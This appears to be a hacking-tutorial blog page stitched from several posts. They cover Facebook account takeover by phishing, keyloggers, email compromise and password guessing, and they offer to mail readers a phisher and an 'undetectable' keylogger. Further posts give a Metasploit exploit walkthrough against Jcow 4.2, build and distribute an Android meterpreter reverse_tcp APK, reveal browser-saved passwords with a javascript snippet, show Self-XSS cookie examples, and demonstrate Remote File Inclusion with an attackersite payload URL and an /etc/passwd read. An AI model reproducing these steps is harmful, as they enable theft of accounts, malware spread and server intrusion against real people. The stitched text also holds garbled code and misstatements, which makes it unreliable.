Online Hacking Tutorials by Ankit Fadia: Ethical Hacking

Showing posts with label Ethical Hacking. Show all posts

Tuesday, June 3, 2014

4 ways to Hack Facebook account password

Hi friends, I have already posted two posts on How to hack Facebook account password, first using the Keyloggers and other is using Phishing. Today I am going to reveal all the methods that can be used to hack a Facebook account password.

Today I will cover all 4 ways to Hack Facebook Account Password that all hackers usually use to hack your Facebook account.

1. Facebook Phishing Attack

2. Hacking Facebook account password remotely using Keyloggers and RAT's

3. By hacking the primary email address that user has used for creating Facebook account.

4. Social Engineering or simply Guessing your friends Password.

Facebook Phishing Attack:

I am explaining this method first because its the most easiest and also the most popular method for hacking Facebook password. You can also search on Google the various famous Facebook hacking methods and you will find Phishing technique on the top always. And I am explaining the methods according to their popularity.

Now you want to know which is my favorite method for Hacking Facebook account passwords and i will undoubtedly tell its simply PHISHING.

I will recommend my users to read this post for knowing how to hack Facebook using Phishing as i have explained it in detail here:

If you want latest Facebook phisher then subscribe my Hacking tricks and mail me privately or post your email below in comments. I will provide you within a day, Now why i am not providing it directly, if i provide directly then Facebook will block it again like the previous one.

Hacking Facebook account password remotely using Keyloggers and RAT's

Aaw... Best method for advanced Hackers. And my second favorite too. Its popularity is little but lower than Phishing only because it involves you to download hack tool and then create your keylogger and send it to victim which is a lengthy process and also unsecured too as you don't aware that the keylogger that you downloading is himself contain some spyware or simply a keylogger attached with it. Keylogging becomes more easy if you have physical access to victim computer as only thing you have to do is install a keylogger and direct it to your destination so that it will send all recorded keystrokes to pointed destination. What a keylogger does is it records the keystrokes into a log file and then you can use these logs to get required Facebook password and thus can hack Facebook password.

I have written a complete article on How to hack Facebook accounts remotely using Keyloggers, so i will recommend you to go through that if you want to learn this technique in detail, so read this article:

Now if you need latest Fully Undetectable Keylogger, then subscribe my hacking tricks and mail me privately or post ur email ID below in comments on which you want to get the download link.

Hacking the Primary Email address

If Facebook hacker or any specific Keylogger, by some means, hacks your primary Gmail or yahoo account which you are using as primary email address, then this information account can easily hack your Facebook password using "Forgot password" trick. The Hacker will simply ask Facebook to send password to the primary email address and ask Facebook administrators to send the reset email to your primary email address- which is already hacked. Thus, your Facebook account password will be reset and it will also be hacked !

So, always remember to protect your primary email address that you have used to create Facebook account and try to keep unknown or useless mail id as your primary email address in Facebook.

Social Engineering or Guessing Passwords

This method sounds to be pretty not working at beginning. Even I was neglecting this way for a long time . But, once, I thought of using it against my friend on Facebook and amazingly what happened that i guessed his Facebook password very easily by this method. I think many of you might be knowing how what this social engineering, For novice hackers, Social engineering is method of retrieving password or Guessing the password or answer of security question simply be hacking some information about the victim or simply gathering his information from his own Facebook and other social networking profiles where most of users provide their critical information just for fashion and doesn't know its consequences. You have to be very careful while using this as victim must not be aware of your intention. Just ask him cautiously using your logic.

Some Common passwords that you can try on your friends are :

1. Their mobile number or their girlfriend or boyfriend mobile number. (always try his previous or old mobile number as they are not as much as fool that they appears)

2. Their Girlfriend or boyfriend names or their own names concatenating with their Girlfriend or boyfriend names.

3. Date of births

4. Their favorite movie names , cartoon character names or favorite music band names or simply the hero names like batman,dark knight, Superman,Godzilla, Spartacus and much more..

5. Most important now most website ask that password should be alphanumeric now what users do they just adds 1,2,3 in their normal passwords and some more smart guys adds !,@,# in their passwords and amazingly all in Sequence.

Note the above common passwords are not from any internet resource, its by my own case study that i have come to conclusion after hacking 19,788 emails accounts. I know now you want to know how i hacked so much accounts. As i have already mentioned for advanced hackers second option is best and the only thing that i did was just made my Keylogger USB and pendrive spreadable. Who ever used the infected USB drive also got infected and this procedure goes so on. And last what happened my 10Gb free storage was filled and i don't have enough time to clean it regularly.

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

Level : Medium
Victim Server : Windows XP SP3
Victim vulnerable application : JCow 4.2
Attacker O.S : Backtrack 5 R1
After very long times I didn't write about hacking webserver, today "again" when surfing around I've found that Jcow Social netwoking engine can be exploited and the exploit ranking marked as "excellent".
So actually what happen when you have this Jcow vulnerable version??The simple thing is the attacker can go through your web server directory and doing everything there. For example if you hosting your Jcow vulnerable version(on unsecure hosting also

) you can own your web server directory.
In this example, let's say I have a Jcow vulnerable web server in IP address 192.168.8.94. Actually it's better to try installing your own web server, but if you want to find out Jcow in the wild you can search through Google dork "intext:Powered by Jcow 4.2.0" and register as normal user there. In this tutorial I have already register as username : victim and password also victim

Okay I hope you understand what I say above

to make it more realistic, let's try the tutorial…

Requirement :

1. Metasploit framework
2. Jcow.rb exploit
mediafire.com

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution :

1. Copy the downloaded jcow.rb exploit from the download link above and copy it into /pentest/exploits/framework/modules/exploits/remote/ folder(see the command below).

cp jcow.rb /pentest/exploits/framework/modules/exploits/remote/

the text "framework" with blue color it's because I'm using Backtrack 5 R1 and using metasploit v4.0.1, so the name was depends on your Metasploit version, maybe on your computer it can be "framework3" or "framework2" so on..
If you didn't know how to copy that jcow.rb file into your Backtrack, please refer to this tutorial about Linux folder sharing(click here).
2. Open your Metasploit console and then use the exploit you just added before.

msf > use exploit/remote/jcow

3. The next step we need to view the available switch for this exploit by running show options command, and then configured it(see the box with red color).

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

msf  exploit(jcow) > set rhost 192.168.8.94 --> set the target IP
rhost => 192.168.8.94
msf  exploit(jcow) > set username victim --> set the username
username => victim
msf  exploit(jcow) > set password victim --> set the password
password => victim
msf  exploit(jcow) > set uri jcow --> only if jcow not in / directory fill it here
uri => jcow

Information :
Set uri can be used if jcow was not installed on webserver main directory, for example http://web-server.com/jcow.
4. After everything was set up successfully, the next thing to do was exploiting or running the exploit by using exploit command.
Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Hacking Android Smartphone Tutorial using Metasploit

Nowadays mobile users are increasing day by day, the security threat is also increasing together with the growth of its users. Our tutorial for today is how to Hacking Android Smartphone Tutorial using Metasploit. Why we choose android phone for this tutorial? simply because lately android phone growing very fast worldwide. Here in China you can get android phone for only US$ 30 it's one of the reason why android growing fast. - See more at: http://www.hacking-tutorial.com/hacking-tutorial/hacking-android-smartphone-tutorial-using-metasploit/#sthash.cAfknmPn.dpuf

Android is an operating system based on the Linux kernel, and designed primarily for touchscreen mobile devices such as smartphones and tablet computers. Initially developed by Android, Inc., which Google backed financially and later bought in 2005, Android was unveiled in 2007 along with the founding of the Open Handset Alliance: a consortium of hardware, software, and telecommunication companies devoted to advancing open standards for mobile devices.

and what is APK? according to wikipedia:

Android application package file (APK) is the file format used to distribute and install application software and middleware onto Google's Android operating system; very similar to an MSI package in Windows or a Deb package in Debian-based operating systems like Ubuntu.

Here is some initial information for this tutorial:
Attacker IP address: 192.168.8.94
Attacker port to receive connection: 443
Requirements:
1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)
2. Android smartphone (we use HTC One android 4.4 KitKat)

Step by Step Hacking Android Smartphone Tutorial using Metasploit:

1. Open terminal (CTRL + ALT + T) view tutorial how to create linux keyboard shortcut.
2. We will utilize Metasploit payload framework to create exploit for this tutorial.

msfpayload android/meterpreter/reverse_tcp LHOST=<attacker_ip_address> LPORT=<port_to_receive_connection>

As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the command
Hacking Android Smartphone Tutorial using Metasploit

Hacking Android Smartphone Tutorial using Metasploit

3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.
Hacking Android Smartphone Tutorial using Metasploit

Info:

use exploit/multi/handler –> we will use Metasploit handler
set payload android/meterpreter/reverse_tcp –> make sure the payload is the same with step 2

4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.
Hacking Android Smartphone Tutorial using Metasploit

Info:

set lhost 192.168.8.94 –> attacker IP address
set lport 443 –> port to listen the reverse connection
exploit –> start to listen incoming connection

5. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to distribute this file, internet is the good place for distribution

).
6. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open the application, attacker Metasploit console get something like this:

7. It's mean that attacker already inside the victim android smartphone and he can do everything with victim phone.

See the video below if you are not clear about the step by step Hacking Android Smartphone Tutorial using Metasploit above:

Facebook Password Hack | Hack IT NOW

Facebook Password Hack

Many of you guys asked me to post any easy prank to hack facebook password which doesn't require any phishing, key logger or any other difficult method. So here I go with this amazing trick for you all guys to hack any facebook password.

This facebook hack trick will only work when the user has not logged in and is using chrome.

Related : Add all facebook friends to a group in one click

Like us on Facebook for more such updates

Just follow these simple steps mentioned below to know the password of your facebook friend:-

Note : This prank works only when your facebook friends entered their username and password and their password is visible to you only as asterisk while they are using Google Chrome browser .

Step 1 : Open Google Chrome tab where your friends have entered their username and password but password is visible only as asterisk (******) .

Step 2 : Now open console window by just pressing CTRL + SHIFT + J .

Step 3 : Copy the given code by selecting the given code and pressing CTRL + C

javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}

Step 4 : Press Enter and you are done . The original password would be displayed as shown in the screen - shot below .

Facebook Password Revealed +Maven Scientists

Enjoy ! Hope you enjoyed the trick .

Ankit Fadia Hacking Tricks | Free Ebook Download

Ankit Fadia Hacking Tricks PDF Free Download

Assessing Server Security - State of the Art. The talk takes into consideration the progress that has been made in web server security over the last few years, and the progress that has been made in attacking web servers over the same time. The paper visits the new vulnerabilities introduced by web applications and discuss the thinking applied to discover such vulnerabilities. It finally describes the state of the art of web server scanning technology. Ankit Fadia Hacking Tricks PDF Free Download

See More Links that might interest you.

Ankit Fadia Resume

Ankit Fadia Biography

Ankit Fadia Hacking Ebook Collection

Download

Self-XSS (Cross Site Scripting)

What is Self-XSS?
Self-XSS is one of the popular Social Engineering Attack used by Attackers to trick users into paste the malicious code in browser. Results in attacker accessing to the whatever website you visit. Usually scammers use this attack for tricking users to buy products or get money through online survey .

Recently, Hackers Attacked Facebook with explicit hardcore porn images. Facebook says it might be self-Xss Attack .

Javascript can be executed in browser url bar.
For example , enter the following code in your browser:

javascript:alert('BreakTheSecurity');

This will show a pop up box with "BreakTheSecurity". An attacker can use this for malicious purpose. He can steal Confidential data, cookies, redirect to malware sites and more.
For Eg:
Entering the following code will display the cookies in your browser:

javascript:alert("Cookies:"+document.cookies+" "+"\n By \n BreakTheSecurity");

The above code is not going to anything maliciously other than displaying the cookies. But an attacker can extend the script so that it can take advantage your data.

Security Tips from BreakTheSecurity:

Use NoScript add on that will prevent javascript running in your browser.
Don't click the shorthand urls for Example: bit.ly/55ewEb?22. This may redirect to an infected sites.

Aware of Social Engineering:

If anyone ask you(even if he is your friend) to paste the scripts in browser bar, Never do this mistake.
If anyone says "Iphone only $10", Don't eager to click it.
If anyone says "1000 shares will cure a baby", Never do this mistake. Facebook shares never help to get money or help to cure baby.
Read our EHN spam report to know the latest updates about the facebook scams.

God give us the Sixth Sense,Use it and think before you click any links or following the other instructions.

Logon to http://onlinehackingtutorials.blogspot.in/ @ Copyright 2014 Pradeep Lodhi (Software Developer)

Remote File Inclusion Vulnerability Tutorial~Web application Vulnerability

This is old tutorial but worth to read it. i write this article before 6 months but forget to post. So here i am posting it.

Remote file inclusion is one of web application vulnerability . Using this vulnerabilitiy an attacker can include their remote file such as Shell. This results in website defacement.

Shell is a GUI(Graphical User Interface) file that is used to browse remote files , using this shell you can run your own code on the victim web server.

By running malicious codes on the web server , an attacker take control of the Whole Server.

Using the vulnerability of the web application , an attacker can do:

Execute malicious codes
Denial of service
Execute Cross Site Scripting (XSS)

When web application is vulnerable to File Inclusion?

The web application becomes vulnerable because of unvalidated external variables (such as $_POST,$_GET,$_COOKIE). The main vulnerability occurs because of "include" function. This "include( )" function get the another page and include as content in current page. If allow_url_fopen function is enabled in web application, an attacker can include the files remotely.

Let us look into some examples, Consider this PHP code.

<?php
$incfile=$_REQUEST['NewsFile'];
include($incfile. 'php');
?>

In this code, the second line "$incfile=$_REQUEST['News'] " gets input from HTTP Request (I mean the valued passed in URL ). The second line inlcudes the "NewsFile " dynamically.

For instance, consider this url:

http://vulnerablesite.com/index.php?NewsFile=news1

Here the news1 is passed to NewsFile variable. The above php code get the value of Newsfile variable using the $_REQUEST. $include function will include news1.php file in index page.

Here you have note one thing, the developer doesn't validate the the HTTP Request input. It causes to vulnerable. An attacker can change the value and launch the Remote file inclusion attack.

How an attacker use this vulnerability?

An attacker can use this vulnerability to inlcude his malicious files. For instance, he can change the value of Variable NewsFile in the url like this:

http://vulnerablesite.com/index.php?NewsFile=http://attackersite/malicous_code

now the vlaue of NewsFile= http://attackersite/malicous_code. So the include function will become like this:

include('http://attackersite/malicous_code.php');

This leads to include the attacker malicious codes in the victim site. Now the attacker can include any malicious codes and execute in the web server. Attacker will upload the shell code and gain the access to the remote files of the website.

Null Meta Character():

An attacker can upload the text files also. But how, It ends with .php in include function ? Using null meta chracter, attacker can eliminate the .php extension. For example by including the NewsFile value as: http://attackersite/malicous_code.txt. Here will eliminate the .php code. So now he can upload any type of files also.

By giving NewsFile vaule as =/etc/password, Attacker can read the contents of password file on UNIX system directory traversal.

Prevention over the RFI

Disable the register_globals and allow_url_fopen and allow_url_include in PHP.ini file.
Validate the Use Input.